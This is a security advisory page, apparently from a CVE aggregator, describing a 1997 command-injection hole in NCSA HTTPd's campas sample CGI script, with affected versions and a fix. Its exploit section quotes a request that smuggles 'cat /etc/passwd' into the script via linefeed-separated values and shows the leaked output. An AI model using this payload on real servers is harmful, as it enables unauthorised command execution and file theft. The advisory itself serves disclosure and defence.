NCSA HTTPd campas sample script Vulnerability

BID:1975

Info

NCSA HTTPd campas sample script Vulnerability

Bugtraq ID: 1975
Class: Input Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Jul 15 1997 12:00AM
Updated: Jul 15 1997 12:00AM
Credit: Posted to BugTraq on July 15, 1997 by Francisco Torres <[email protected]>.
Vulnerable: NCSA httpd-campas 1.2
- NCSA httpd 1.5.2 a
- NCSA httpd 1.5.2
- NCSA httpd 1.5.1
- NCSA httpd 1.5 a-export
+ NCSA httpd 1.4.2
+ NCSA httpd 1.4.1
+ NCSA httpd 1.4
+ NCSA httpd 1.3
Not Vulnerable:

Discussion

NCSA HTTPd campas sample script Vulnerability

Campas is a sample CGI script shipped with some older versions of NCSA HTTPd, an obsolete web server package. The versions that included the script could not be determined as the server is no longer maintained, but version 1.2 of the script itself is known to be vulnerable. The script fails to properly filter user supplied variables, and as a result can be used to execute commands on the host with the privileges of the web server. Commands can be passed as a variable to the script, separated by %0a (linefeed) characters. See exploit for example. Successful exploitation of this vulnerability could be used to deface the web site, read any files the server process has access to, get directory listings, and execute anything else the web server has access to.

Exploit / POC

NCSA HTTPd campas sample script Vulnerability

The following exploit description is quoted from the BugTraq message posted by Francisco Torres <[email protected]> on July 15, 1997.

> telnet target 80
[...]
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
<PRE>
root:x:0:1:Super-User:/export/home/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:/bin/false
[...]

Solution / Fix

NCSA HTTPd campas sample script Vulnerability

Solution:
Delete the sample script, as it is not necessary for normal web server function.

References

NCSA HTTPd campas sample script Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report